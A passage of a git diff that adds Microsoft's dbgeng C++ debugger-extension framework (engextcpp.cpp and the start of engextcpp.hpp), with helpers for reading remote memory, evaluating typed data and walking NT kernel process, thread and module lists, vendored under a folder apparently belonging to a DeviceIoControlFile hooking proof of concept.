g_Ext->ThrowRemote(E_INVALIDARG, + "Zero-sized ExtRemoteData"); + } + if (!m_ValidOffset) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "ExtRemoteData does not have a valid address"); + } + + if (m_Physical) + { + Status = g_Ext->m_Data4-> + ReadPhysical2(m_Offset, m_SpaceFlags, Buffer, Bytes, &Done); + } + else + { + Status = g_Ext->m_Data-> + ReadVirtual(m_Offset, Buffer, Bytes, &Done); + } + if (Status == S_OK && Done != Bytes && MustReadAll) + { + Status = HRESULT_FROM_WIN32(ERROR_READ_FAULT); + } + if (Status != S_OK) + { + if (m_Name) + { + g_Ext->ThrowRemote(Status, "Unable to read %s at %p", + m_Name, m_Offset); + } + else + { + g_Ext->ThrowRemote(Status, "Unable to read 0x%x bytes at %p", + Bytes, m_Offset); + } + } + + return Done; +} + +ULONG +ExtRemoteData::WriteBuffer(__in_bcount(Bytes) PVOID Buffer, + __in ULONG Bytes, + __in bool MustReadAll) +{ + HRESULT Status; + ULONG Done; + + UNREFERENCED_PARAMETER(Buffer); + + g_Ext->ThrowInterrupt(); + + if (!Bytes) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "Zero-sized ExtRemoteData"); + } + if (!m_ValidOffset) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "ExtRemoteData does not have a valid address"); + } + + if (m_Physical) + { + Status = g_Ext->m_Data4-> + WritePhysical2(m_Offset, m_SpaceFlags, &m_Data, Bytes, &Done); + } + else + { + Status = g_Ext->m_Data-> + WriteVirtual(m_Offset, &m_Data, Bytes, &Done); + } + if (Status == S_OK && Done != Bytes && MustReadAll) + { + Status = HRESULT_FROM_WIN32(ERROR_WRITE_FAULT); + } + if (Status != S_OK) + { + if (m_Name) + { + g_Ext->ThrowRemote(Status, "Unable to write %s at %p", + m_Name, m_Offset); + } + else + { + g_Ext->ThrowRemote(Status, "Unable to write 0x%x bytes at %p", + Bytes, m_Offset); + } + } + + return Done; +} + +PSTR +ExtRemoteData::GetString(__out_ecount(BufferChars) PSTR Buffer, + __in ULONG BufferChars, + __in ULONG MaxChars, + __in bool MustFit) +{ + HRESULT Status; + + g_Ext->ThrowInterrupt(); + + if (!m_ValidOffset) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "ExtRemoteData does not have a valid address"); + } + if (m_Physical) + { + g_Ext->ThrowRemote(E_NOTIMPL, + "ExtRemoteData cannot read strings " + "from physical memory"); + } + + ULONG Need; + + if (FAILED(Status = g_Ext->m_Data4-> + ReadMultiByteStringVirtual(m_Offset, MaxChars * sizeof(*Buffer), + Buffer, BufferChars, &Need))) + { + g_Ext->ThrowRemote(Status, "Unable to read string at %p", + m_Offset); + } + if (Status != S_OK && MustFit) + { + g_Ext->ThrowRemote(HRESULT_FROM_WIN32(ERROR_BUFFER_OVERFLOW), + "String at %p overflows buffer, need 0x%x chars", + m_Offset, Need); + } + + return Buffer; +} + +PWSTR +ExtRemoteData::GetString(__out_ecount(BufferChars) PWSTR Buffer, + __in ULONG BufferChars, + __in ULONG MaxChars, + __in bool MustFit) +{ + HRESULT Status; + + g_Ext->ThrowInterrupt(); + + if (!m_ValidOffset) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "ExtRemoteData does not have a valid address"); + } + if (m_Physical) + { + g_Ext->ThrowRemote(E_NOTIMPL, + "ExtRemoteData cannot read strings " + "from physical memory"); + } + + ULONG Need; + + if (FAILED(Status = g_Ext->m_Data4-> + ReadUnicodeStringVirtualWide(m_Offset, + MaxChars * sizeof(*Buffer), + Buffer, BufferChars, &Need))) + { + g_Ext->ThrowRemote(Status, "Unable to read string at %p", + m_Offset); + } + if (Status != S_OK && MustFit) + { + g_Ext->ThrowRemote(HRESULT_FROM_WIN32(ERROR_BUFFER_OVERFLOW), + "String at %p overflows buffer, need 0x%x chars", + m_Offset, Need); + } + + return Buffer; +} + +//---------------------------------------------------------------------------- +// +// ExtRemoteTyped. +// +//---------------------------------------------------------------------------- + +void +ExtRemoteTyped::Copy(__in const DEBUG_TYPED_DATA* Source) +{ + m_Typed = *Source; + ErtIoctl("Copy", EXT_TDOP_COPY, ErtUncheckedIn | ErtOut); +} + +void +ExtRemoteTyped::Set(__in PCSTR Expr) +{ + EXT_TDOP Op; + ULONG Flags = ErtOut; + + // If we have a valid value let it be used + // in the expression if desired. + if (m_Release) + { + Op = EXT_TDOP_EVALUATE; + Flags |= ErtIn; + } + else + { + Op = EXT_TDOP_SET_FROM_EXPR; + } + + PSTR Msg = g_Ext-> + PrintCircleString("Set: unable to evaluate '%s'", Expr); + ErtIoctl(Msg, Op, Flags, Expr); +} + +void +ExtRemoteTyped::Set(__in PCSTR Expr, + __in ULONG64 Offset) +{ + m_Typed.Offset = Offset; + PSTR Msg = g_Ext-> + PrintCircleString("Set: unable to evaluate '%s' for 0x%I64x", + Expr, Offset); + ErtIoctl(Msg, EXT_TDOP_SET_FROM_U64_EXPR, ErtUncheckedIn | ErtOut, Expr); +} + +void +ExtRemoteTyped::Set(__in bool PtrTo, + __in ULONG64 TypeModBase, + __in ULONG TypeId, + __in ULONG64 Offset) +{ + HRESULT Status; + EXT_TYPED_DATA ExtData; + + g_Ext->ThrowInterrupt(); + + ZeroMemory(&ExtData, sizeof(ExtData)); + ExtData.Operation = PtrTo ? + EXT_TDOP_SET_PTR_FROM_TYPE_ID_AND_U64 : + EXT_TDOP_SET_FROM_TYPE_ID_AND_U64; + if (m_Physical) + { + ExtData.Flags |= (m_SpaceFlags + 1) << 1; + } + ExtData.InData.ModBase = TypeModBase; + ExtData.InData.TypeId = TypeId; + ExtData.InData.Offset = Offset; + + Status = g_Ext->m_Advanced2-> + Request(DEBUG_REQUEST_EXT_TYPED_DATA_ANSI, + &ExtData, sizeof(ExtData), + &ExtData, sizeof(ExtData), + NULL); + if (SUCCEEDED(Status)) + { + Status = ExtData.Status; + } + + if (FAILED(Status)) + { + g_Ext->ThrowRemote(Status, + "ExtRemoteTyped::Set from type and offset"); + } + + Release(); + m_Typed = ExtData.OutData; + ExtRemoteData::Set(&m_Typed); + m_Release = true; +} + +void +ExtRemoteTyped::Set(__in PCSTR Type, + __in ULONG64 Offset, + __in bool PtrTo, + __inout_opt PULONG64 CacheCookie, + __in_opt PCSTR LinkField) +{ + HRESULT Status; + ULONG64 TypeModBase; + ULONG TypeId; + + if (!CacheCookie) + { + if ((Status = g_Ext->m_Symbols-> + GetSymbolTypeId(Type, + &TypeId, + &TypeModBase)) != S_OK) + { + g_Ext->ThrowStatus(Status, "Unable to get type ID of '%s'", + Type); + } + } + else + { + if (LinkField) + { + // We don't really need the field offset + // here but it allows us to use cache + // entries that were created for list + // usage and so do have it. + g_Ext->GetCachedFieldOffset(CacheCookie, + Type, + LinkField, + &TypeModBase, + &TypeId); + } + else + { + TypeId = g_Ext->GetCachedSymbolTypeId(CacheCookie, + Type, + &TypeModBase); + } + } + + Set(PtrTo, TypeModBase, TypeId, Offset); +} + +void WINAPIV +ExtRemoteTyped::SetPrint(__in PCSTR Format, + ...) +{ + HRESULT Status; + va_list Args; + + va_start(Args, Format); + Status = StringCbVPrintfA(g_Ext->s_String, sizeof(g_Ext->s_String), + Format, Args); + va_end(Args); + if (Status != S_OK) + { + g_Ext->ThrowRemote(Status, + "ExtRemoteTyped::SetPrint: overflow on '%s'", + Format); + } + Set(g_Ext->CopyCircleString(g_Ext->s_String)); +} + +ULONG +ExtRemoteTyped::GetFieldOffset(__in PCSTR Field) throw(...) +{ + ULONG Offset; + PSTR Msg = g_Ext-> + PrintCircleString("GetFieldOffset: no field '%s'", + Field); + ErtIoctl(Msg, EXT_TDOP_GET_FIELD_OFFSET, ErtIn, Field, 0, NULL, + NULL, 0, &Offset); + return Offset; +} + +ExtRemoteTyped +ExtRemoteTyped::Field(__in PCSTR Field) +{ + ExtRemoteTyped Ret; + + PSTR Msg = g_Ext-> + PrintCircleString("Field: unable to retrieve field '%s' at %I64x", + Field, m_Offset); + ErtIoctl(Msg, EXT_TDOP_GET_FIELD, ErtIn | ErtOut, Field, 0, &Ret); + return Ret; +} + +ExtRemoteTyped +ExtRemoteTyped::ArrayElement(__in LONG64 Index) +{ + ExtRemoteTyped Ret; + + PSTR Msg = g_Ext-> + PrintCircleString("ArrayElement: unable to retrieve element %I64d", + Index); + ErtIoctl(Msg, EXT_TDOP_GET_ARRAY_ELEMENT, + ErtIn | ErtOut, NULL, Index, &Ret); + return Ret; +} + +ExtRemoteTyped +ExtRemoteTyped::Dereference(void) +{ + ExtRemoteTyped Ret; + + ErtIoctl("Dereference", EXT_TDOP_GET_DEREFERENCE, + ErtIn | ErtOut, NULL, 0, &Ret); + return Ret; +} + +ExtRemoteTyped +ExtRemoteTyped::GetPointerTo(void) +{ + ExtRemoteTyped Ret; + + ErtIoctl("GetPointerTo", EXT_TDOP_GET_POINTER_TO, + ErtIn | ErtOut, NULL, 0, &Ret); + return Ret; +} + +ExtRemoteTyped +ExtRemoteTyped::Eval(__in PCSTR Expr) +{ + ExtRemoteTyped Ret; + + PSTR Msg = g_Ext-> + PrintCircleString("Eval: unable to evaluate '%s'", + Expr); + ErtIoctl(Msg, EXT_TDOP_EVALUATE, ErtIn | ErtOut, Expr, 0, &Ret); + return Ret; +} + +PSTR +ExtRemoteTyped::GetTypeName(void) +{ + ErtIoctl("GetTypeName", EXT_TDOP_GET_TYPE_NAME, ErtIn, NULL, 0, NULL, + g_Ext->s_String, EXT_DIMA(g_Ext->s_String)); + return g_Ext->CopyCircleString(g_Ext->s_String); +} + +ULONG +ExtRemoteTyped::GetTypeFieldOffset(__in PCSTR Type, + __in PCSTR Field) +{ + HRESULT Status; + DEBUG_VALUE Data; + PSTR Expr; + + Expr = g_Ext->PrintCircleString("@@c++(#FIELD_OFFSET(%s, %s))", + Type, Field); + if (FAILED(Status = g_Ext->m_Control-> + Evaluate(Expr, DEBUG_VALUE_INT64, &Data, NULL))) + { + g_Ext->ThrowRemote(Status, + "Could not find type field %s.%s", + Type, Field); + } + + return (ULONG)Data.I64; +} + +HRESULT +ExtRemoteTyped::ErtIoctl(__in PCSTR Message, + __in EXT_TDOP Op, + __in ULONG Flags, + __in_opt PCSTR InStr, + __in ULONG64 In64, + __out_opt ExtRemoteTyped* Ret, + __out_ecount_opt(StrBufferChars) PSTR StrBuffer, + __in ULONG StrBufferChars, + __out_opt PULONG Out32) +{ + HRESULT Status; + ULONG64 StackExtData[(sizeof(EXT_TYPED_DATA) + 11 * sizeof(ULONG64) - 1) / + sizeof(ULONG64)]; + EXT_TYPED_DATA* ExtData; + ULONG ExtDataBytes; + PBYTE ExtraData; + + C_ASSERT(EXT_TDF_PHYSICAL_MEMORY == DEBUG_TYPED_DATA_PHYSICAL_MEMORY); + + g_Ext->ThrowInterrupt(); + + ExtDataBytes = sizeof(*ExtData) + + StrBufferChars * sizeof(*StrBuffer); + if (InStr) + { + ExtDataBytes += (strlen(InStr) + 1) * sizeof(*InStr); + } + + if (ExtDataBytes > sizeof(StackExtData)) + { + ExtData = (EXT_TYPED_DATA*)malloc(ExtDataBytes); + if (!ExtData) + { + return E_OUTOFMEMORY; + } + } + else + { + ExtData = (EXT_TYPED_DATA*)&StackExtData; + } + ExtraData = (PBYTE)(ExtData + 1); + + ZeroMemory(ExtData, sizeof(*ExtData)); + ExtData->Operation = Op; + if (m_Physical) + { + ExtData->Flags |= (m_SpaceFlags + 1) << 1; + } + if (InStr) + { + ExtData->InStrIndex = (ULONG)(ExtraData - (PBYTE)ExtData); + memcpy(ExtraData, InStr, + (strlen(InStr) + 1) * sizeof(*InStr)); + ExtraData += (strlen(InStr) + 1) * sizeof(*InStr); + } + ExtData->In64 = In64; + if (StrBuffer) + { + ExtData->StrBufferIndex = (ULONG)(ExtraData - (PBYTE)ExtData); + ExtData->StrBufferChars = StrBufferChars; + ExtraData += StrBufferChars * sizeof(*StrBuffer); + } + + if ((Flags & (ErtIn | ErtUncheckedIn)) != 0) + { + if ((Flags & ErtIn) != 0 && !m_Release) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "ExtRemoteTyped::%s", Message); + } + + ExtData->InData = m_Typed; + } + + Status = g_Ext->m_Advanced2-> + Request(DEBUG_REQUEST_EXT_TYPED_DATA_ANSI, + ExtData, ExtDataBytes, + ExtData, ExtDataBytes, + NULL); + if (SUCCEEDED(Status)) + { + Status = ExtData->Status; + } + + if ((Flags & ErtIgnoreError) == 0 && + FAILED(Status)) + { + g_Ext->ThrowRemote(Status, + "ExtRemoteTyped::%s", Message); + } + + if ((Flags & ErtOut) != 0) + { + if (!Ret) + { + Ret = this; + } + + Ret->Release(); + Ret->m_Typed = ExtData->OutData; + Ret->ExtRemoteData::Set(&Ret->m_Typed); + Ret->m_Release = true; + } + + if (StrBuffer) + { + memcpy(StrBuffer, (PBYTE)ExtData + ExtData->StrBufferIndex, + StrBufferChars * sizeof(*StrBuffer)); + } + + if (Out32) + { + *Out32 = ExtData->Out32; + } + + if ((PULONG64)ExtData != StackExtData) + { + free(ExtData); + } + + return Status; +} + +void +ExtRemoteTyped::Clear(void) +{ + ZeroMemory(&m_Typed, sizeof(m_Typed)); + m_Release = false; + ExtRemoteData::Clear(); +} + +//---------------------------------------------------------------------------- +// +// Helpers for handling well-known NT data and types. +// +//---------------------------------------------------------------------------- + +ULONG64 ExtNtOsInformation::s_KernelLoadedModuleBaseInfoCookie; +ULONG64 ExtNtOsInformation::s_KernelProcessBaseInfoCookie; +ULONG64 ExtNtOsInformation::s_KernelThreadBaseInfoCookie; +ULONG64 ExtNtOsInformation::s_KernelProcessThreadListFieldCookie; +ULONG64 ExtNtOsInformation::s_UserOsLoadedModuleBaseInfoCookie; +ULONG64 ExtNtOsInformation::s_UserAltLoadedModuleBaseInfoCookie; +ULONG64 ExtNtOsInformation::s_OsPebBaseInfoCookie; +ULONG64 ExtNtOsInformation::s_AltPebBaseInfoCookie; +ULONG64 ExtNtOsInformation::s_OsTebBaseInfoCookie; +ULONG64 ExtNtOsInformation::s_AltTebBaseInfoCookie; + +ULONG64 +ExtNtOsInformation::GetKernelLoadedModuleListHead(void) +{ + return GetNtDebuggerData(DEBUG_DATA_PsLoadedModuleListAddr, + "nt!PsLoadedModuleList", + 0); +} + +ExtRemoteTypedList +ExtNtOsInformation::GetKernelLoadedModuleList(void) +{ + ExtRemoteTypedList List(GetKernelLoadedModuleListHead(), + "nt!_KLDR_DATA_TABLE_ENTRY", + "InLoadOrderLinks", + 0, + 0, + &s_KernelLoadedModuleBaseInfoCookie, + true); + List.m_MaxIter = 1000; + return List; +} + +ExtRemoteTyped +ExtNtOsInformation::GetKernelLoadedModule(__in ULONG64 Offset) +{ + // We are caching both type and link information + // so provide a link field here to keep the + // cache properly filled out. + return ExtRemoteTyped("nt!_KLDR_DATA_TABLE_ENTRY", + Offset, + true, + &s_KernelLoadedModuleBaseInfoCookie, + "InLoadOrderLinks"); +} + +ULONG64 +ExtNtOsInformation::GetKernelProcessListHead(void) +{ + return GetNtDebuggerData(DEBUG_DATA_PsActiveProcessHeadAddr, + "nt!PsActiveProcessHead", + 0); +} + +ExtRemoteTypedList +ExtNtOsInformation::GetKernelProcessList(void) +{ + ExtRemoteTypedList List(GetKernelProcessListHead(), + "nt!_EPROCESS", + "ActiveProcessLinks", + 0, + 0, + &s_KernelProcessBaseInfoCookie, + true); + List.m_MaxIter = 4000; + return List; +} + +ExtRemoteTyped +ExtNtOsInformation::GetKernelProcess(__in ULONG64 Offset) +{ + // We are caching both type and link information + // so provide a link field here to keep the + // cache properly filled out. + return ExtRemoteTyped("nt!_EPROCESS", + Offset, + true, + &s_KernelProcessBaseInfoCookie, + "ActiveProcessLinks"); +} + +ULONG64 +ExtNtOsInformation::GetKernelProcessThreadListHead(__in ULONG64 Process) +{ + return Process + + g_Ext->GetCachedFieldOffset(&s_KernelProcessThreadListFieldCookie, + "nt!_EPROCESS", + "Pcb.ThreadListHead"); +} + +ExtRemoteTypedList +ExtNtOsInformation::GetKernelProcessThreadList(__in ULONG64 Process) +{ + ExtRemoteTypedList List(GetKernelProcessThreadListHead(Process), + "nt!_ETHREAD", + "Tcb.ThreadListEntry", + 0, + 0, + &s_KernelThreadBaseInfoCookie, + true); + List.m_MaxIter = 15000; + return List; +} + +ExtRemoteTyped +ExtNtOsInformation::GetKernelThread(__in ULONG64 Offset) +{ + // We are caching both type and link information + // so provide a link field here to keep the + // cache properly filled out. + return ExtRemoteTyped("nt!_ETHREAD", + Offset, + true, + &s_KernelThreadBaseInfoCookie, + "Tcb.ThreadListEntry"); +} + +ULONG64 +ExtNtOsInformation::GetUserLoadedModuleListHead(__in bool NativeOnly) +{ + HRESULT Status; + + if (NativeOnly || + !g_Ext->Is32On64()) + { + DEBUG_VALUE Data; + + if (FAILED(Status = g_Ext->m_Control-> + Evaluate("@@c++(&@$peb->Ldr->InLoadOrderModuleList)", + DEBUG_VALUE_INT64, &Data, NULL))) + { + g_Ext->ThrowRemote(Status, + "Unable to get loader list head from PEB"); + } + + return Data.I64; + } + else + { + // We're looking at a 32-bit structure so only + // pull out a 32-bit pointer value. We do + // not sign-extend as this is a UM pointer and + // should not get sign-extended. + return GetAltPeb(). + Eval("&@$extin->Ldr->InLoadOrderModuleList").GetUlong(); + } +} + +ExtRemoteTypedList +ExtNtOsInformation::GetUserLoadedModuleList(__in bool NativeOnly) +{ + if (NativeOnly || + !g_Ext->Is32On64()) + { + ExtRemoteTypedList List(GetUserLoadedModuleListHead(NativeOnly), + "${$ntnsym}!_LDR_DATA_TABLE_ENTRY", + "InLoadOrderLinks", + 0, + 0, + &s_UserOsLoadedModuleBaseInfoCookie, + true); + List.m_MaxIter = 1000; + return List; + } + else + { + ExtRemoteTypedList List(GetUserLoadedModuleListHead(NativeOnly), + "${$ntwsym}!_LDR_DATA_TABLE_ENTRY", + "InLoadOrderLinks", + 0, + 0, + &s_UserAltLoadedModuleBaseInfoCookie, + true); + List.m_MaxIter = 1000; + return List; + } +} + +ExtRemoteTyped +ExtNtOsInformation::GetUserLoadedModule(__in ULONG64 Offset, + __in bool NativeOnly) +{ + // We are caching both type and link information + // so provide a link field here to keep the + // cache properly filled out. + if (NativeOnly || + !g_Ext->Is32On64()) + { + return ExtRemoteTyped("${$ntnsym}!_LDR_DATA_TABLE_ENTRY", + Offset, + true, + &s_UserOsLoadedModuleBaseInfoCookie, + "InLoadOrderLinks"); + } + else + { + return ExtRemoteTyped("${$ntwsym}!_LDR_DATA_TABLE_ENTRY", + Offset, + true, + &s_UserAltLoadedModuleBaseInfoCookie, + "InLoadOrderLinks"); + } +} + +ULONG64 +ExtNtOsInformation::GetOsPebPtr(void) +{ + HRESULT Status; + ULONG64 Offset; + + if ((Status = g_Ext->m_System-> + GetCurrentProcessPeb(&Offset)) != S_OK) + { + g_Ext->ThrowRemote(Status, + "Unable to get OS PEB pointer"); + } + + return Offset; +} + +ExtRemoteTyped +ExtNtOsInformation::GetOsPeb(__in ULONG64 Offset) +{ + return ExtRemoteTyped("${$ntnsym}!_PEB", + Offset, + true, + &s_OsPebBaseInfoCookie); +} + +ULONG64 +ExtNtOsInformation::GetOsTebPtr(void) +{ + HRESULT Status; + ULONG64 Offset; + + if ((Status = g_Ext->m_System-> + GetCurrentThreadTeb(&Offset)) != S_OK) + { + g_Ext->ThrowRemote(Status, + "Unable to get OS TEB pointer"); + } + + return Offset; +} + +ExtRemoteTyped +ExtNtOsInformation::GetOsTeb(__in ULONG64 Offset) +{ + return ExtRemoteTyped("${$ntnsym}!_TEB", + Offset, + true, + &s_OsTebBaseInfoCookie); +} + +ULONG64 +ExtNtOsInformation::GetAltPebPtr(void) +{ + ExtRemoteTyped AltTeb = GetAltTeb(); + return AltTeb.Field("ProcessEnvironmentBlock").GetUlong(); +} + +ExtRemoteTyped +ExtNtOsInformation::GetAltPeb(__in ULONG64 Offset) +{ + return ExtRemoteTyped("${$ntwsym}!_PEB", + Offset, + true, + &s_AltPebBaseInfoCookie); +} + +ULONG64 +ExtNtOsInformation::GetAltTebPtr(void) +{ + // If this is a 32-bit machine there's no + // WOW64 TEB. + if (!g_Ext->IsMachine64(g_Ext->m_ActualMachine)) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "No alternate TEB available"); + } + + // + // The pointer to the WOW64 TEB is the first pointer of + // the 64-bit TEB. + // + + ExtRemoteData OsTeb(GetOsTebPtr(), sizeof(ULONG64)); + return OsTeb.GetUlong64(); +} + +ExtRemoteTyped +ExtNtOsInformation::GetAltTeb(__in ULONG64 Offset) +{ + return ExtRemoteTyped("${$ntwsym}!_TEB", + Offset, + true, + &s_AltTebBaseInfoCookie); +} + +ULONG64 +ExtNtOsInformation::GetCurPebPtr(void) +{ + return g_Ext->Is32On64() ? + GetAltPebPtr() : GetOsPebPtr(); +} + +ExtRemoteTyped +ExtNtOsInformation::GetCurPeb(__in ULONG64 Offset) +{ + return g_Ext->Is32On64() ? + GetAltPeb(Offset) : GetOsPeb(Offset); +} + +ULONG64 +ExtNtOsInformation::GetCurTebPtr(void) +{ + return g_Ext->Is32On64() ? + GetAltTebPtr() : GetOsTebPtr(); +} + +ExtRemoteTyped +ExtNtOsInformation::GetCurTeb(__in ULONG64 Offset) +{ + return g_Ext->Is32On64() ? + GetAltTeb(Offset) : GetOsTeb(Offset); +} + +ULONG64 +ExtNtOsInformation::GetNtDebuggerData(__in ULONG DataOffset, + __in PCSTR Symbol, + __in ULONG Flags) +{ + ULONG64 Data; + + UNREFERENCED_PARAMETER(Flags); + + // + // First check the kernel's data block. + // + + if (g_Ext->m_Data-> + ReadDebuggerData(DataOffset, &Data, sizeof(Data), NULL) == S_OK) + { + return Data; + } + + // + // Fall back on symbols. + // + + if (g_Ext->m_Symbols-> + GetOffsetByName(Symbol, &Data) != S_OK) + { + g_Ext->ThrowRemote(E_INVALIDARG, + "Unable to find '%s', check your NT kernel symbols", + Symbol); + } + + return Data; +} + +//---------------------------------------------------------------------------- +// +// Number-to-string helpers for things like #define translations. +// +//---------------------------------------------------------------------------- + +ExtDefine* +ExtDefineMap::Map(__in ULONG64 Value) +{ + if ((m_Flags & Bitwise) != 0) + { + for (ExtDefine* Define = m_Defines; Define->Name; Define++) + { + if ((Define->Value & Value) == Define->Value) + { + return Define; + } + } + } + else + { + for (ExtDefine* Define = m_Defines; Define->Name; Define++) + { + if (Define->Value == Value) + { + return Define; + } + } + } + + return NULL; +} + +PCSTR +ExtDefineMap::MapStr(__in ULONG64 Value, + __in_opt PCSTR InvalidStr) +{ + ExtDefine* Define = Map(Value); + if (Define) + { + return Define->Name; + } + if (InvalidStr) + { + return InvalidStr; + } + else + { + return g_Ext->PrintCircleString("<0x%I64x>", Value); + } +} + +void +ExtDefineMap::Out(__in ULONG64 Value, + __in ULONG Flags, + __in_opt PCSTR InvalidStr) +{ + ULONG OldIndent = g_Ext->m_LeftIndent; + g_Ext->m_LeftIndent = g_Ext->m_CurChar; + + if ((Flags & OutValue) != 0) + { + g_Ext->OutWrap("%I64x", Value); + } + else if ((Flags & OutValue32) != 0) + { + g_Ext->OutWrap("%08I64x", Value); + } + else if ((Flags & OutValue64) != 0) + { + g_Ext->OutWrap("%016I64x", Value); + } + + if ((m_Flags & Bitwise) != 0) + { + if (!Value) + { + if ((Flags & ValueAny) == 0) + { + g_Ext->OutWrapStr(""); + } + } + else + { + bool First = true; + + while (Value) + { + ExtDefine* Define = Map(Value); + + if (!Define && + (Flags & ValueAny) != 0 && + !InvalidStr) + { + // Value already displayed. + break; + } + + if (!First) + { + g_Ext->OutWrapStr(" | "); + } + else + { + if ((Flags & OutValueAny) != 0) + { + g_Ext->OutWrapStr(" "); + } + + First = false; + } + + if (Define) + { + g_Ext->OutWrapStr(Define->Name); + Value &= ~Define->Value; + } + else + { + if (InvalidStr) + { + g_Ext->OutWrapStr(InvalidStr); + } + else + { + g_Ext->OutWrap("<0x%I64x>", Value); + } + break; + } + } + } + } + else + { + if ((Flags & ValueAny) == 0 || + InvalidStr) + { + if ((Flags & OutValueAny) != 0) + { + g_Ext->OutWrapStr(" "); + } + + g_Ext->OutWrapStr(MapStr(Value, InvalidStr)); + } + else + { + ExtDefine* Define = Map(Value); + if (Define) + { + InvalidStr = Define->Name; + } + if (InvalidStr) + { + if ((Flags & OutValueAny) != 0) + { + g_Ext->OutWrapStr(" "); + } + + g_Ext->OutWrapStr(InvalidStr); + } + } + } + + g_Ext->m_LeftIndent = OldIndent; +} + +//---------------------------------------------------------------------------- +// +// Extension DLL exports. +// +//---------------------------------------------------------------------------- + +EXTERN_C BOOL WINAPI +DllMain(HANDLE Instance, ULONG Reason, PVOID Reserved) +{ + UNREFERENCED_PARAMETER(Reserved); + + switch(Reason) + { + case DLL_PROCESS_ATTACH: + ExtExtension::s_Module = (HMODULE)Instance; + break; + } + + return TRUE; +} + +EXTERN_C HRESULT CALLBACK +DebugExtensionInitialize(__out PULONG Version, + __out PULONG Flags) +{ + HRESULT Status; + + // Pick up our global state. + g_Ext = g_ExtInstancePtr; + ExtExtension* Inst = g_Ext; + + // Pass registered commands to the extension + // so that further references are confined to + // extension class data. + ExtCommandDesc::Transfer(&Inst->m_Commands, + &Inst->m_LongestCommandName); + + if ((Status = Inst->Initialize()) != S_OK) + { + return Status; + } + + *Version = DEBUG_EXTENSION_VERSION(Inst->m_ExtMajorVersion, + Inst->m_ExtMinorVersion); + *Flags = Inst->m_ExtInitFlags; + return S_OK; +} + +EXTERN_C void CALLBACK +DebugExtensionUninitialize(void) +{ + if (!g_Ext.IsSet()) + { + return; + } + + g_Ext->Uninitialize(); +} + +EXTERN_C void CALLBACK +DebugExtensionNotify(__in ULONG Notify, + __in ULONG64 Argument) +{ + if (!g_Ext.IsSet()) + { + return; + } + + ExtExtension* Inst = g_Ext; + + switch(Notify) + { + case DEBUG_NOTIFY_SESSION_ACTIVE: + Inst->OnSessionActive(Argument); + break; + case DEBUG_NOTIFY_SESSION_INACTIVE: + Inst->OnSessionInactive(Argument); + break; + case DEBUG_NOTIFY_SESSION_ACCESSIBLE: + Inst->OnSessionAccessible(Argument); + break; + case DEBUG_NOTIFY_SESSION_INACCESSIBLE: + Inst->OnSessionInaccessible(Argument); + break; + } +} + +EXTERN_C HRESULT CALLBACK +KnownStructOutputEx(__in PDEBUG_CLIENT Client, + __in ULONG Flags, + __in ULONG64 Offset, + __in_opt PCSTR TypeName, + __out_ecount_opt(*BufferChars) PSTR Buffer, + __inout_opt PULONG BufferChars) +{ + if (!g_Ext.IsSet()) + { + return E_UNEXPECTED; + } + + return g_Ext->HandleKnownStruct(Client, Flags, Offset, TypeName, + Buffer, BufferChars); +} + +EXTERN_C HRESULT CALLBACK +DebugExtensionQueryValueNames(__in PDEBUG_CLIENT Client, + __in ULONG Flags, + __out_ecount(BufferChars) PWSTR Buffer, + __in ULONG BufferChars, + __out PULONG BufferNeeded) +{ + if (!g_Ext.IsSet()) + { + return E_UNEXPECTED; + } + + return g_Ext->HandleQueryValueNames(Client, Flags, + Buffer, BufferChars, BufferNeeded); +} + +EXTERN_C HRESULT CALLBACK +DebugExtensionProvideValue(__in PDEBUG_CLIENT Client, + __in ULONG Flags, + __in PCWSTR Name, + __out PULONG64 Value, + __out PULONG64 TypeModBase, + __out PULONG TypeId, + __out PULONG TypeFlags) +{ + if (!g_Ext.IsSet()) + { + return E_UNEXPECTED; + } + + return g_Ext->HandleProvideValue(Client, Flags, Name, + Value, TypeModBase, TypeId, TypeFlags); +} diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/engextcpp.hpp b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/engextcpp.hpp new file mode 100644 index 00000000..9c7cba83 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/HookDeviceIoControlFile/dbgsdk/inc/engextcpp.hpp @@ -0,0 +1,2513 @@ +//---------------------------------------------------------------------------- +// +// C++ dbgeng extension framework. +// +// The framework makes it easy to write dbgeng extension +// DLLs by wrapping the inconvenient parts of the extension API. +// Boilerplate code is provided as base implementations, +// removing the need to put in empty or skeleton code. +// Error handling is done via exceptions, removing most +// error path code. +// +// The framework assumes async exception handling compilation. +// +// Copyright (C) Microsoft Corporation, 2005-2006. +// +//---------------------------------------------------------------------------- + +#if _MSC_VER > 1000 +#pragma once +#endif + +#ifndef __ENGEXTCPP_HPP__ +#define __ENGEXTCPP_HPP__ + +#ifndef __cplusplus +#error engextcpp.hpp requires C++. +#endif + +#include +#include +#define KDEXT_64BIT +#include + +#include + +#if _MSC_VER >= 800 +#pragma warning(disable:4121) +#endif + +// This will be an engine extension DLL so the wdbgexts +// APIs are not appropriate. +#undef DECLARE_API +#undef DECLARE_API32 +#undef DECLARE_API64 + +//---------------------------------------------------------------------------- +// +// Basic utilities needed later. +// +//---------------------------------------------------------------------------- + +#define EXT_RELEASE(_Unk) \ + ((_Unk) != NULL ? ((_Unk)->Release(), (void)((_Unk) = NULL)) : (void)NULL) + +#define EXT_DIMAT(_Array, _EltType) (sizeof(_Array) / sizeof(_EltType)) +#define EXT_DIMA(_Array) EXT_DIMAT(_Array, (_Array)[0]) + +class ExtExtension; +class ExtCommandDesc; + +//---------------------------------------------------------------------------- +// +// All errors from this framework are handled by exceptions. +// The exception hierarchy allows various conditions to +// be handled separately, but generally extensions should +// not need to do any exception handling. The framework +// automatically wraps extensions with try/catch to absorb +// errors properly. +// +//---------------------------------------------------------------------------- + +class ExtException +{ +public: + ExtException(__in HRESULT Status, + __in_opt PCSTR Message) + { + m_Status = Status; + m_Message = Message; + } + + HRESULT 